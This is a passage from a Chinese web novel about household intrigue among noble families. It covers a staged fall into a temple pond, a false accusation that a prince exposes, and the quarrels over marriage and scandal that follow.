威宁侯一边问一边东张西望。
他特别想要那个温泉山庄,但那个庄子是景王妃的陪嫁,他跑了好几回王妃都没松口。
得知定远侯也有意要买温泉山庄,他顿时急了。
因此听说定远侯一家今日来了玄空寺,林管事正在往生池这边的古树下和他们商谈,他便急匆匆骑马赶来了。
蔓儿看到他,仿佛像看到了救命恩人,立刻冲了过去。
“求您救救我家小姐,她落水了,人命关天啊。”
威宁侯瞧见在池子里挣扎的晏明月,没想太多赶忙跳下去救人。
双鲤领着晏明远和沈夫人一家过来,就看到了这一幕。
“哎呀,小姐,你怎么摔了呀。”她吓了一跳,撒腿就跑过来将晏逐星从地上搀扶起来。
“少爷,二小姐落水了,呜呜呜。怎么办呀。”蔓儿吓坏了,只会哭。
晏明远得知坠入池子里的晏明月生死未卜,怒意顿时冲上了脑海,他走上前不分青红皂白地就要抬手扇晏逐星耳光。
“是不是你害得明月掉进池子的?!”
晏逐星抬手就抓住了他的胳膊:“我被这丫鬟推倒在地,动弹不得,你这个做大哥的看到我摔倒,不仅不关心我受伤了没,竟然还要冤枉我。”
她用力将晏明远的手甩开。
“你可真是我的好大哥啊。”
晏明远被她拦住愈发恼怒:“你一直记恨明月,不是你把她推下池子的还能是谁?”
“我告诉你,若是今日明月有个三长两短,我要你给她偿命!!!”
他双目猩红,一副恨不得将晏逐星活剥生吞的模样。
晏逐星没搭理她,看向双鲤:“你快去请人来救二妹妹,今日我们是一起来给母亲祈福的,一个都不能少,全都要平平安安地回家。”
“让衔蝉也多叫点人来帮忙。”
晏逐星捏了捏她的手心暗示。
双鲤乖乖听话,立刻往殿内跑去。
晏明远不会水,不敢跳下池子救人,只得站在一旁干着急。
池子里晏明月的狐裘太沉,被威宁侯解掉了,她太过害怕胡乱挣扎,惹得救她命的威宁侯累得够呛。
本来熟悉水性的他很快就能捞人上来,结果因为晏明月乱踢乱蹬,让他差点也跟着栽在里边。
……
“定远侯府二小姐落水啦,快来人啊,救命啊。”双鲤嚷着大嗓门喊。
添完香油钱的衔蝉听到这话,便跟着浑水摸鱼,没说哪家小姐,只是一味地让人去往生池救人。
许多人稀里糊涂,不清楚是不是自家孩子落水了,就也跟着去了往生池那边。
众人赶到时,威宁侯正抱着晏明月从结着薄冰的池子里爬上来。
晏明月面色惨白地蜷在威宁侯怀里,湿透的冬衣紧贴身体,不断往下滴着水。她的狐裘早被池水卷走,单薄的中衣吸饱了水,沉甸甸贴在威宁侯的身上。
晏明远脸色一沉。
糟了,这一幕被那么多人看到,恐怕有损妹妹名声。
“明月,松手,跟哥哥回家。”他脱下自己青蓝色的大氅,想要替晏明月遮盖身子。
没想到,受惊之下的晏明月还没回过神来,仍在发抖,手指死死攥着威宁侯的衣襟,两人呼出的白气在咫尺之间混作一团。
围观人群倒抽冷气的声音此起彼伏。
威宁侯可不管那么多,撒手就把她往晏明远身上丢。
累死他了。
“侯爷且慢。舍妹虽得您搭救,可这寒冬腊月里肌肤相亲,您总要给她一个交代吧。”晏逐星叫住了正欲离开的威宁侯。
一旁的双鲤指着威宁侯胸口惊呼:“呀,二小姐中衣领口的盘扣都蹭在您襟前了。您
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可得对二小姐负责呀。”
听到这话,所有人的目光齐刷刷地看向了威宁侯。
哟,还真别了一枚扣子。
再一想到先前两人身子紧贴的亲密状态,还有晏明月死活不松开的手。
众人都意识到了一件事。
这么多人都瞧见了定远侯府二小姐失了清白,之后的婚事恐怕难办咯。
但威宁侯已有妻儿,女儿都和这定远侯府的二小姐差不多大了,让他娶了她,是不是有点不合适呀?
威宁侯一愣,完全没想到晏逐星会说这么一句话。
他只是想来买个庄子的,谁能想到庄子没买到,反倒摊上了这么一桩事。
他皱起眉头,下颌紧绷:“本侯冒着冻毙的风险救人,倒救出错处来了?”
“没有的事。我们十分感激侯爷出手相救。”晏明远连忙摇头,“舍妹不懂事,还请侯爷不要计较。”
威宁侯冷哼一声:“满京城皆知,本侯已有正妻,不可能停妻另娶。若定要我负责,那便以贵妾之礼聘之。过些时日,我会派人去府上接人。”
“不,我不要做妾!!!”晏明月终于回过神来,听到这话吓得尖叫出声。
晏明远狠狠地瞪了晏逐星一眼,赶忙开口:“侯爷说笑了,您今日只是见义勇为,我们又怎能恩将仇报让您夫妻不睦。待会回了侯府,我会禀明父亲,让父亲登门道谢。”
“这还差不多。”威宁侯冷哼一声,甩手离开。
这天寒地冻的,他快被冻**。
晏明月没想到自己偷鸡不成蚀把米,竟然一个忽然冒出来的人踢到了池子里。
原本该落水的是晏逐星啊!!!
“是你,是你害的我。你故意把我推下水的。”她目眦欲裂,冲着晏逐星大吼大叫。
晏逐星眼眶瞬间红了,她哽咽道:“当时只有我和你还有你的丫鬟在,我一个站稳都费劲的人,怎么当着你丫鬟的面把你推下去?”
“先前大哥和沈夫人他们过来的时候看得清清楚楚,我摔在地上无人搀扶,连爬都爬不起来。”
原本要离开的那些人听到两人的对话,又停住了脚步。
看来,这出好戏还没结束呢。
第41章 这一回,王爷总不会继续偏袒晏大小姐了吧?
晏明月一时语塞。
晏逐星确实没推她。
但要是说有个黑衣人突然从树上跳下来把自己踹进池子,旁人恐怕只会觉得她是落水之后失心疯了。
这理由荒唐得她自己都不信。
她必须咬死是晏逐星干的。
“就是你,当时站在我身边的只有你一个人,不是你还能是谁。”说完她扭头看向一旁的丫鬟,“蔓儿,你说,是不是大小姐推我下水的?”
蔓儿浑身发抖,看着二小姐骇人的目光,头都快埋进衣领里了。
她飞速道:“是大小姐推的,奴婢亲眼瞧见了。”
晏明远听到这话,指节捏得喀嚓响,盯着晏逐星像看脏东西,充满厌恶。
“往日你在府里欺辱明月还不够,在玄空寺这等佛门清净地也敢作恶?”
他猛地拔高了声音:“来人,将她带回去请家法,定远侯府可容不得残害手足的畜生。”
众人听到这话顿时议论纷纷。
“没想到啊,定远侯府的大小姐竟然这般蛇蝎心肠,竟然要害死亲妹妹。”
“她站都站不稳了,还能推人下水么?我怎么感觉此事有猫腻啊?”
“能有什么猫腻,在场的丫鬟都看到了。还有,侯府世子都站出来指认了,这位大小姐平日里就欺负二小姐。这样恶毒的人,什么事做不出来。”
众人七嘴八舌地讨论着。
隐匿在角落里的停云偷偷看了身旁的王爷一眼。
先前晏大小姐的丫鬟九栀将晏明月踹下水的时候,他和王爷可都瞧见了。
这一回,王爷总不会继续偏袒晏大小姐了吧?
不曾想,下一刻,谢翊宁就高声开口:“是么?本王看到的,和你说的可不一样。”
停云眼皮突突直跳。
玄空寺的香是不是掺了**散,怎么好像王爷对这位晏大小姐更着迷了。
听到“本王”二字,众人都看了过来。
沈夫人看清他的脸,顿时露出错愕的表情,赶忙行礼:“见过永安王。”
听到这个名号,那些围观的人群“歘”一下都闪开,默默给他让出了道。
谢翊宁袍角翻卷,大步走到了晏逐星身边,停云挎着剑跟在三步外,活像霜打蔫的茄子。
晏逐星也很惊讶。
她没想到在这又遇上了永安王。
她在心底暗暗腹诽,永安王怎么总是神出鬼没的。
上次在威宁侯府他也是忽然就冒了出来。
也不知道他今天是什么时候来的,先前九栀藏身树上时,不会被他看到了吧?
“王爷此言何意?”晏明远眉头皱得紧紧的。
上一回,就是因为永安王的出现,晏逐星才得以逃脱父亲母亲的责罚。
这一回,他又想做什么?
晏明月将指甲深深掐入掌心,身子依旧止不住哆嗦。
永安王到底看上晏逐星什么了,为什么每一次晏逐星有难,他都能第一时间站出来替她撑腰。
不行,这一次绝对不能放过晏逐星。
她抢在谢翊宁回答兄长之前开口:“王爷,我知道您心疼姐姐,但您总不能每一次都不分青红皂白地偏袒她吧?”
一石激起千层浪。
晏明月这话让围观的人群更兴奋了。
晏二小姐这话里的意思,莫不是说永安王和晏大小姐有私情?
围观香客们脖颈齐刷刷抻长半寸,咽口水声混着衣料摩擦声,传来窸窸窣窣的声音。
谢翊宁只是淡淡地撇了他们一眼,那些躁动的眼珠子又慌忙低垂下去。
罢了,这位活祖宗惹不起,还是不要当面议论他的私事为妙。
“阿嚏。”
晏明月打了个喷嚏,她冻得牙齿上下打架。
“不过姐姐命好有王爷庇护,小女无话可说,就当是我自己摔的吧。”她做出了一副伤心欲绝,不得不打碎牙齿往肚子里吞的委屈感。
晏明远想替妹妹说话,但是碍于对方的身份,不敢多说什么,只得恨恨地瞪了晏逐星一眼。
“好一张颠倒黑白的嘴。”谢翊宁鼓起了掌。
“本王先前瞧见一位黑衣人从树上一跃而下将你踹进池子。”
“结果你却非要说是晏大小姐推的你。莫非那人是你安排的?特意演这么一出戏,好让众人怜悯你,憎恶你姐姐?”
晏明月原本就冻得发白的脸这一刻更是白得吓人。
什么,永安王竟然全都看到了?
她脱口而出:“不是我安排的!”
“咦,这么说那确实有黑衣人存在咯?”围观人群有人发出惊叹。
晏明月只否认了她没安排人,但没否认黑衣人啊。
“没错。先前一个黑衣人忽然从树上跳下来。”晏逐星指着那密不透风的古树,露出了惊恐的表情。
“他一脚将妹妹踹到
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了放生池里,还顺带把我给绊到了地上。随后他就消失了。”
玄空寺的这棵千年古树乃是京中一道奇观。
寒冬腊月,漫山树木早秃得精光,偏它枝叶茂密。墨绿色树冠压着积雪,远看像座翡翠垒的塔。
因而里边若是藏了人,不仔细看还真是看不出来。
众人见她信誓旦旦,心里对她的怀疑都有些动摇,转而看向了晏明月。
晏明月没想到冒出个永安王来搅局,她咬紧牙关道:“我没看到什么黑衣人,就是晏逐星推的我。大哥,我好冷,我要冻坏了。”
她哆嗦了起来,随后当场晕了过去。
晏明远吓坏了,抱着她大喊她的名字。
“明月,明月。”
见她没有反应,当即将她打横抱起,暴呵道:“来人,快将二小姐送去回春堂就医。”
晏逐星可不打算让他就这样走了,她伸手拦住了二人。
“你做什么?明月落了水,如今又昏迷,人命关天,难不成你想让她死吗?”晏明远双目猩红,恨不得跟她拼命。
“妹妹的命重要,真相也同样重要。若今日不洗清我的冤屈,流言蜚语又岂能让我活到明日?”晏逐星的语气里也带上了哭腔。
“大哥,我没撒谎,你若不信,命人当场看看二妹妹的后腰。她被黑衣人踹了,肯定留了印迹。”
听到她这话,装晕的晏明月身子一僵。
她后腰之处确实隐隐作痛。
“胡闹。明月可是未出阁的小姑娘,怎能大庭广众之下让人验身。”晏明远气得大口大口地喘着粗气。
晏逐星寸步不让:“将她送到禅房,给她换上干爽的衣裳,省得生病。也正好可以检查她后腰是否有受伤的痕迹。若是有,就能证明不是我推的。”
兄妹二人僵持不下。
谢翊宁直接吩咐了下去:“将晏二小姐送去禅房。”
晏明月听到这话知道自己这回走不掉了,气急攻心,原本只是装晕,现在是真的晕过去了。
晏明远还要反驳,没想到停云直接把他和晏明月一起打包送去了禅房。
在场一片哗然。
谢翊宁看向一旁的沈夫人和沈墨湘。
“赶巧沈侍郎的夫人和千金都在,不如你们入内做个见证吧。”
沈夫人:……
早知道她就不看这个热闹了。
这下尴尬了吧。
第42章 他怀疑永安王是故意的,但他没证据
晏明远守在门外来回踱步,担忧晏明月因为落水出事。
他恨恨地瞪了晏逐星一眼:“要是明月有个三长两短,我让你给她偿命。”
“那若是晏明月污蔑了我呢?”晏逐星淡定反问。
“不可能。”晏明远脱口而出。
“明月和你这种撒谎成性的人不一样,她不会骗人的。”
晏逐星笑了笑,没说话。
一旁的谢翊宁眉头微蹙。
晏明远这话他可不爱听,于是他佯装无聊踢地上的碎石子玩。
鞋尖一勾,花生米大的碎石直冲晏明远的面门而去。
“啪”地一声闷响。
晏明远捂着嘴**两步,疼得直抽气,再松手时上唇已肿成红亮的小山包。
“抱歉,本王没注意。”谢翊宁一脸无辜。
“无妨。”晏明远从牙缝里挤出两个字。
他怀疑永安王是故意的,但他没证据。
“嘎吱”一声响。
禅房的门被打开了。
沈夫人和沈墨湘走了出来。
沈墨湘看到他肿起来的嘴唇,猛地瞪大了眼睛。
“世子,你的嘴怎么了?”
“没事,不小心磕到了。”晏明远用手捂嘴含糊道,“明月怎么样了?”
“有些发热了,恐怕要迅速送去医馆。”沈夫人回答道。
晏明远急得不行,当下就要让人把晏明月抬到马车上。
晏逐星开口询问:“沈夫人,不知二妹妹身后可有伤痕?”
沈夫人和沈墨湘有些难以启齿。
这事真是得罪人啊。
一旁跟进去检查的双鲤脆生生道:“小姐,二小姐后腰确实有一块红肿。一看就是被人踢了。”
“不可能。”晏明远还是不信。
他扭头看向沈家母女,眼里带着殷切的期盼。
“伯母,沈小姐,你们不会骗我的吧,是不是这丫鬟在撒谎?”
当着永安王的面,沈夫人不敢撒谎,只得尴尬地开口:“二小姐后腰处确实有伤痕。”
听到这个结论,围观的香客们终于心满意足地离开了。
果然是二小姐撒谎了呀。
晏明远脑袋“嗡”一下炸开,但他下意识地替亲妹妹说话。
“不一定是人踢的呀,也可能是落水后被水中的东西磕碰到了。”
“若是磕碰,又怎么会那么巧,只有一个伤。”双鲤振振有词。
晏明远脸“噌”一下就红了。
他一时间想不出该如何辩解,只得转移话题:“人命关天,我先送明月去医馆。”
说完就让人抬着晏明月上了马车,完全忘了自己还有一个腿受伤的妹妹。
沈家母女也不好多呆,冲永安王行了一礼后便告退了。
晏逐星也冲他行了一礼:“多谢王爷仗义执言,臣女也告退了。”
“本王正巧要回城,顺路捎你一程吧。”谢翊宁慢悠悠地开口。
停云撇了撇嘴:巧什么啊,王爷分明是故意等人家的。
顺路?
两家明明都不在一个方位。
顺的哪门子路。
晏逐星迟疑片刻后,还是点头答应了。
“多谢王爷。”
正好,她也想问问谢翊宁为何三番五次地救她于水火之中。
晏逐星坐上了软舆,准备下山。
走到了半路,忽然听到前方传来重物坠地的声音。
紧接着,就是一阵兵荒马乱的惨叫声和训斥声交杂在一块。
“二小姐!”
“你们干什么吃的,连个软舆都抬不动?!”
双鲤得了晏逐星的眼神暗示,快步跑过去瞧发生了什么事。
不一会儿,她就跑回来了,气喘吁吁道:“是二小姐的软舆断了,摔了。”
晏逐星在心底冷笑。
晏明月这是自作孽不可活啊。
她若不对软舆动手脚,又怎会落得如此下场。
“人没事吧?伤得重不重呀?”晏逐星一脸关切地询问。
“幸亏大少爷拦得快,只滚到了边上,没掉下山。只是脸好像擦伤了。”双鲤将看到的一切清清楚楚描述出来。
晏逐星扭头看向谢翊宁。
谢翊宁像是知道她要说什么,开口安抚:“放心,本王让人先把你送回侯府。”
“多谢王爷。此事得尽早告知父亲母亲。”晏逐星故作担忧。
下到山脚,谢翊宁命停云驾车将晏逐星送回侯府,自己骑马回王府去了。
晏逐星原本还想在马车上和他谈谈这几次报恩的事情。
见他策马离去,只得作罢。
晏逐星刚到侯府,就被下人请去花厅。
“大小姐,侯爷和夫人在等您。”
她心下顿时了然,看来晏明远已经
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派人先回侯府告过状了。
一入花厅,温如霜将手边的茶盏砸向她。
她声嘶力竭地怒吼:“你这个混账东西,先害了我,又要把你妹妹也害死吗?”
晏逐星心有防备,闪身躲开了。
没砸中她,温如霜愈发恼怒,她气得直拍桌子。
“丧门星,你就是个丧门星。你要害死我们全家才罢休吗。”
答对了。
晏逐星在心底默默回答。
但她一言不发,只是委屈地看了定远侯一眼。
见她看向自己,定远侯心底那点父爱陡然升起,扭头训斥道:“你这是在做什么,明月受伤,关星儿什么事?”
温如霜不可置信地抬头看向他:“侯爷莫不是忘了,明月才是我们的亲女儿?”
“那又如何。本侯一视同仁!星儿养在我们名下,那就是我们的亲生骨肉。成日强调这事,你是恨不得孩子跟我们离心吗。”定远侯怒骂。
温如霜被他这话气得脸涨红,喘不上气,喉咙里发出“嗬嗬”的声响。
李氏吓了一跳,赶忙给她顺气。
晏逐星委屈地开口:“母亲这话说的可就伤了女儿的心了。虽然我不是你们亲生,但您和父亲这些年的养育之恩我是万万不敢忘的。”
这话说到了定远侯的心坎里,他跟着点了点头。
晏逐星继续火上浇油:“今日二妹妹掉到往生池里,被威宁侯所救,玄空寺上香的香客都瞧见了两人湿哒哒抱在一起的场景。”
“而后她说是我将她推下水的,却被永安王揭穿了真相。众人皆知是她污蔑了我。还是沈家夫人出来替我澄清的。”
“后来抬她下山的人和软舆,也是二妹妹自己准备的。我知道她摔花了脸您很伤心,但我全程没插手,您怎么能怪到我身上呢。”
“难不成,不是亲生的就该死吗?”
温如霜听着那些话,心脏像被捅出无数血窟窿。
她引以为傲的女儿啊,就这么毁了。
她愤怒得连牙关都在打颤。
她抬手指向晏逐星,还没来得及开口斥责,一股刺鼻的骚味突然漫开,定远侯和晏逐星同时看了过去。
淡黄液体顺着她裙角往下淌,滴滴答答地在青砖地上积起一滩水渍。
温如霜整个人僵在原地,脸上血色褪得干干净净。
第43章 好友变后娘
一瞬间,所有人都沉默了。
温如霜她不敢去看他们二人的表情,闭上了眼,死死抓住李氏的手:“送我回房。”
“是。”李氏赶忙让人把她抬回了屋里去。
“咱们到一旁去说吧。”定远侯用手捂住了鼻子。
“好。”晏逐星乖顺地点了点头。
“你把先前的事情再说一遍。说仔细些,任何细节都不要放过。”定远侯沉声开口。
他收到晏明远派人传回来的消息后,一阵暴怒。
眼看女儿就要及笄,可以许配人家了,竟然闹出了这样荒唐的事情。
和威宁侯肌肤相亲后,京城里谁家还愿意娶她。
“大哥和二妹妹几次三番邀请我去玄空寺上香,我腿脚不便,本不欲前往。但想着要给母亲祈福,便也跟着去了。”晏逐星将今日之事缓缓道来。
定远侯越听脸色越难看。
晏明远派人回来说得十分简略,他只知道晏明月落水后被威宁侯所救,以及下山时摔伤了脸的事。
其他一概不知。
没想到这背后竟然还有这么多波折。
恐怕明日天不亮,他们定远侯府就要变成满京城茶余饭后的嚼头了。
不行,明日卯时他必须要往宫里递折子告病。
一想到同僚们憋笑的神情,他就恨不得连夜收拾细软逃出京城。
太丢人了。
只可惜,今日还得抓紧去威宁侯府走一趟。
救命之恩若是不报,他们也不用在京城立足了。
一时间,定远侯整张脸阴沉得像是被暴雨前的黑云压着。
让晏明月去做妾,他是全然不肯的。
但硬要嫁过去当平妻,两家定然要结仇。
可如果不让她嫁人,日后她的亲事该怎么办。
他一阵心烦意乱,看向晏逐星:“星儿,你觉得今日之事该如何是好?当真要让你妹妹去侯府做妾么?”
“此事女儿不敢做主,不如父亲命人去问问母亲。母亲最疼妹妹了,定然不会害了她。”晏逐星把这个烫手山芋抛了出去。
“有道理。”定远侯忙不迭点头,决定去找温如霜要个主意,晏逐星趁机称累了,回自己屋子里休息。
温如霜已经换了一身衣裳。
见到定远侯,她下意识地就想起了先前那个丢人的场景。
虽然这段时间她已经减少饮水,又请大夫来日日替她针灸治疗,但情绪一激动还是会控制不住出现失禁的场景。
她咬紧牙关,费劲挤出一句话:“侯爷怎么来了?”
“我是想问问你,明月这事到底该怎么办?是让她嫁过去,还是怎么着。”定远侯也不废话。
经历了先前的事情,他现在一靠近温如霜,就感觉她身上带着一股味,眼里不自觉地就流露出嫌弃。
温如霜看见他这表情,指节猛地抠进蚕丝被面,生生扯开了一个窟窿。
她控制不住自己的情绪,撕心裂肺地尖叫:“不行。明月比威宁侯的女儿还小一岁,你让她嫁过去,那不是让全京城的人笑话么。”
“若不嫁过去,你说,这京城里还有谁愿意娶她?”定远侯揉了揉耳朵。
原本,他对这个女儿是寄以厚望的。
没想到,现在折在了威宁侯手里。
让一个年纪和自己差不多大的人当女婿,他也很不情愿的好么。
温如霜一时语塞,不知道该怎么说。
“如今还不知道明月是什么状况,若是真伤了脸,那她可就更嫁不出去了。还不如就嫁威宁侯呢。”定远侯语气愈发不耐烦。
温如霜的脸色瞬间变得惨白。
若是脸伤着了,那可就真的全完了。
“你快去催催,大少爷怎么还没把二小姐带回来。”她着急忙慌地让人去把晏明远找回来。
刚提到两人,就听到下人匆匆跑了进来禀告:“大少爷领着二小姐回府了。”
“快将两人请过来。”温如霜当即吩咐。
没一会儿,晏明远就领着晏明月回来了。
晏明月还在昏迷,是被人抬进来的。
晏明远看到父亲母亲都在,羞愧地跪到地上认错:“是孩儿无能,没能护住妹妹。”
温如霜着急地扑向床边想要查探晏明月的情况,这一眼她差点昏过去。
晏明月的脸被山道上的碎石棱角和路边的荆棘刮破了
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皮,横七竖八地爬着六七道血痕,最骇人的那道裂口从右眼尾斜劈到嘴角。
若是日后留下疤痕,那可就全完了。
定远侯瞧见这一幕,心沉到了谷底。
……
没等定远侯去登门,威宁侯夫人钱氏就已经知道了此事。
今日在玄空寺上香的有她娘家的嫂嫂。
回府后嫂嫂第一时间命人将这消息告诉了她。
钱氏快气疯了:“这小贱蹄子可真不要脸。侯爷都能当她爹了,竟然还妄想嫁给侯爷。”
一旁的嬷嬷给她倒茶,劝慰道:“夫人消消火,可别气坏了身子。侯爷有分寸着呢,都说了就算要娶,那也只能做妾。”
钱氏狠狠拍了一下桌子:“侯府嫡女做妾,可能么。你当定远侯是那么好糊弄的。”
她一颗心像是在油锅里煎着,难受得她眉头紧锁。
“定远侯也未必肯让嫡女嫁过来……”嬷嬷小心翼翼地措辞安抚。
“满京城的人都瞧见她清白没了,除了嫁给侯爷,还有谁愿意娶她。定远侯一家肯定要赖上门了。”钱氏说着尾音陡然变得哽咽,眼泪不受控制地落下。
她一遍又一遍地擦眼泪,擦到帕子都被洇湿透了,还是没能止住眼泪。
嬷嬷说尽了好话,好不容易哄得她止住了眼泪。
“嘎吱”一声响。
门被猛地推开。
钱氏抬头一看,是女儿赵云霏回来了。
赵云霏看到母亲落泪顾不得询问发生了什么事,直接追问:“娘,明月当真要嫁给我爹么?”
她不说还好,一说反倒勾得钱氏的眼泪扑簌簌往下落。
“呜呜呜。”她抱着女儿泣不成声。
看她这个反应,赵云霏便知道外边的传言是真的了。
她顿时僵在了原地。
她先前从学堂回来,便听到死对头嘲讽她爹要另娶,娶的还是她的闺中密友。
这太荒唐了!
她迫不及待地回来找母亲求证,没想到,竟然是真的。
好友变成小娘,她无法接受。
这时,门外忽然传来了下人的通禀声。
“夫人,定远侯登门道谢了。”
第44章 婚后的光景
“晏明月呢?她来了吗?”赵云霏跺跺脚,气得想要去找人算账。
钱氏擦掉眼泪,赶忙拉住了她:“你一个闺中女子,不得参与此事。去将你祖父和祖母请来。”
前不久她才被罚跪祠堂,想到这,赵云霏不敢冲动,只能老老实实地去请祖父祖母。
威宁侯正在将今日之事告知爹娘,见女儿来请人,顿时很烦躁。
“爹娘,此事劳烦您二老费心了。待会晏鸿升问起,就说我为了救他闺女,冻病了。我就不信这样他还能不要脸地把女儿塞给我。”
老威宁侯和老夫人同时点了点头,脸色也很难看。
儿子一把年纪,明年都要当祖父了,娶一个明年才能及笄的小丫头像什么话。
听到父亲这话,赵云霏长长地舒了一口气。
至少父亲没有动摇。
有祖父祖母在,晏明月应该嫁不进来吧。
老威宁侯和夫人一前一后进了正堂。
定远侯见到二老,垂袖行了个触地全礼。
老威宁侯摩挲着手上的黄杨木拐头,老夫人指间翡翠佛珠捻得飞快,两人都一言不发。
定远侯觑着老侯爷和老夫人的神色,猜测到今日恐怕有一场硬仗要打。
他露出一个感激地笑容,慷慨激昂道:“今日多亏了宗禹兄,若不是他,我家明月恐怕就要溺死在玄空寺了。”
他一连说了好几句感激的话,又让下人将精心准备的谢礼送了上来。
老侯爷这才开口:“宗禹良善,今日无论谁落水,他瞧见了都会去救。”
“是的是的。”定远侯赔着笑脸附和。
老夫人紧跟着开口:“你的谢礼已经收下,你回吧。宗禹因为救你那闺女,如今冻病了,正躺床上歇着呢。”
“唉,原不该提这茬。”定远侯一摊手,露出一副自责的神情。
“宗禹兄与我家明月肌肤相亲一事,当时玄空寺的香客们可都瞧见了。如今满城传得风风雨雨,晚辈斗胆请二老做主,许我家明月一个名分。”
“荒唐!难不成要我儿停妻再娶?”老侯爷重重砸了一下拐杖。
“不可能。钱氏为我威宁侯府诞下两子两女,打理侯府多年从未出过岔子。谁要动我儿媳妇,我坚决不同意。”老夫人的话掷地有声。
躲在外边偷听的钱氏听到婆婆这话,感动得直抹眼泪。
定远侯赶忙摇头:“让宗禹兄停妻再娶,那是恩将仇报的做法。我怎么会做出这样下作的事情。”
听到这话,二老脸色稍缓。
他们对视一眼,老夫人开口了。
“那贤侄的意思是,愿意让令嫒给宗禹做妾?”
定远侯露出一抹苦笑:“明月是侯府嫡女,做妾于理不合。”
“那你要如何?”老夫人皱起了眉头。
门外的钱氏也攥紧了帕子,紧张地等待着他的下一句话。
“晚辈想让明月以平妻的身份,嫁到威宁侯府来。”定远侯说出了自己的想法。
来之前,他已经和夫人吵过一架了。
夫人虽不愿意让女儿嫁给威宁侯,但这已经是当下最好的办法了。
威宁侯如今才四十,女儿若是嫁过来,努努力,说不定还能生个儿子。
日后威宁侯府的世子之位,也不是不能争一争。
“不行。”老夫人再一次拒绝。
定远侯听到反对,也不恼,再提出了一个新的解决办法。
“宗禹兄若不娶,换你们威宁侯府一脉的嫡子来娶也行。你家嫡次子今年十七尚未婚配对吧,不如娶了明月,结两姓之好。”
“那怎么行!”门外偷听的钱氏按捺不住冲了出来。
先打她夫君的主意,如今又惦记上她儿子。
她绝不同意让这种搅家精嫁进来。
“这也不行那也不行。你们是想逼死我女儿吗?”定远侯也恼了。
“我看是你想逼死我。抢我夫君,还要害我儿子,我死给你看我,我就不信这全京城没有一个讲理的地方了。”钱氏说完就要撞柱。
谁也没想到她会做出这样的举动。
竟然直直地就让她撞了上去。
一时间,威宁侯府鸡飞狗跳。
……
威宁侯府和定远侯府都乱糟糟的,户部侍郎府也不遑多让。
沈夫人回府后,和夫君沈源晖说起了今日相看的事情。
两人商议过后,都觉得定远侯府不是一个好去处。
他们的女儿是娇宠着长大的,家中关系简单,没有那么多钩心斗角的事情。
本来觉得女儿日后能当上侯府
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主母,也是一件光宗耀祖的事情。
如今瞧见了定远侯府的家风,还是算了吧。
夫妻俩达成一致,可沈墨湘却看上了晏明远,哭闹着非要嫁给他。
“我就要嫁给他。”沈墨湘气得直跺脚。
沈夫人急得把绣帕都要绞成麻绳了。
她无奈又生气:“湘儿,听话,娘还能害你不成。那定远侯府就是个**不吐骨头的豺狼窝,你是万万不能嫁过去的。”
沈墨湘扁扁嘴道:“哪有那么可怕。”
今日玄空寺初见,定远侯府那位大少爷眉目如画,玄色锦袍衬得他恍若谪仙。
让她一见倾心。
私下相处时,他克己守礼。
替她折花枝时连袖口都不曾相碰,偏生三两句玩笑话便逗得她帕子掩唇直笑。
满足了她对未来夫婿的一切幻想。
她连婚后的幸福光景都想过了。
晨起时他执螺子黛为她描眉,黄昏后她研着松烟墨陪他作画,过两年她再给他生儿育女,日子过得蜜里调油,好不惬意。
可如今,父亲母亲竟然不让她嫁给他。
“傻丫头,你想想今日在玄空寺的事。”沈夫人无比懊恼自己把女儿养得那么天真。
从前她想着女儿能享福的日子并不多,在娘家快活的日子就这么几年,去到婆家就没有这样轻松随意的日子了。
等定下婚事后,再慢慢教导她为**子的道理和打理庶务的办法。
没想到,却是害了她。
沈夫人只得把道理掰开揉碎了告诉女儿:“今日之事,不管是定远侯府哪一位小姐谋划的,都只能说明这两人没一个是省油的灯,心眼子一个比一个多。你若嫁进去,必定受欺负。”
沈墨湘嘟囔道:“都是女儿,迟早要嫁出去的。”
沈夫人指节顶着突突跳的太阳穴,继续道:“还有,晏明远不分青红皂白就冤枉了晏家大姑娘,可见此人惯会偏听偏信的。你若嫁过去,他偏信了旁人的话,冷落你怎么办?”
沈墨湘一时间哽住了,但她还是不死心,辩解道:“晏大哥不是这样的人。再说了,说不定他偏信我呢。”
沈夫人:……
累了。
这么大的女儿还塞不回肚子里,谁来救救她。
第45章 晏明远倒戈
见好言相劝没有用,沈夫人冷着脸拍桌子,放出狠话:“总而言之,我和你爹都不会同意你嫁过去的,你就**这条心吧。”
她狠下心将女儿关了起来,连院门都落了锁,不准她再闹腾。
而后开库房取了青玉笔洗,连同一支老参一并装匣,差管家快马送去礼部尚书府。
当初既是陈夫人给两家牵的线,如今这桩婚事不成,自然要备足赔罪的体面,托她再去递个话。
礼部尚书夫人陈氏得知沈家不愿将女儿嫁到定远侯府去,叹了一口气。
这定远侯府最近确实不顺。
先是出了侯府大小姐闹上公堂的荒唐事,又传出了其非亲生,给世子下药的丑事,随后侯府主母摔成了残废,如今侯府嫡女又落水失了清白。
这一桩桩事儿接连不断,也难怪人家不愿结亲。
“你说会不会是定远侯府招惹了什么邪祟,才会接二连三倒大霉。”她忍不住看向了夫君。
礼部尚书曹正安看了一眼妻子:“既是如此,那你还不离他们远些,省得将晦气带到家里来。”
陈氏忙不迭点头:“夫君言之有理,我这就递帖子,明日去定远侯府走一趟。”
翌日。
陈夫人登门,委婉转达了沈家的意思,温如霜气急攻心,当场吐出了一口血。
陈夫人吓坏了。
她只是帮忙牵线搭桥,可不想惹上人命官司啊。
她匆匆将赔礼留下便离开了。
温如霜醒来后,恨不得当场提刀去**晏逐星。
不仅两个孩子的婚事全毁了,她自己还摔成了终身残疾。如今躺在床榻上动弹不得,活像被钉在板子上的鱼。
“夫人!二小姐醒了,这会儿正闹着寻死呢!”芙儿慌慌张**进来,裙摆还沾着泥点子。
自打茉儿死后,蔓儿跟着二小姐去玄空寺出了岔子,挨了板子还躺着呢,这跑腿的差事全落在她身上。
温如霜刚缓过气,闻言眼前一黑,差点又背过气去。
她死命捶着身下的床板,嗓子都劈叉了:“快把我抬到瑶华院去!”
刚进瑶华院,就听到了晏明月撕心裂肺的哭声,其中还夹杂着晏明远和晏明修的安慰声。
温如霜心都要碎了。
她被抬进去后,哀哀地唤了一声:“明月,到娘亲的身边来。”
晏明月死死捂住脸,指甲掐进脸颊肉里,无助地哭着。
满地都是摔碎的铜镜片,闪着冷光。
醒来后,听说父亲要把她塞给威宁侯当平妻,对方还很嫌弃只让她做妾,她气得抓起梳妆台上的铜镜就砸了个粉碎。
再摸到脸上横七竖八的疤痕,她哆嗦着抓起块碎瓷片就往手腕上划。
顶着这张烂脸给人做妾,倒不如**干净。
然而丫鬟们发现后,尖叫着阻止她,还把兄长和母亲都给请来了。
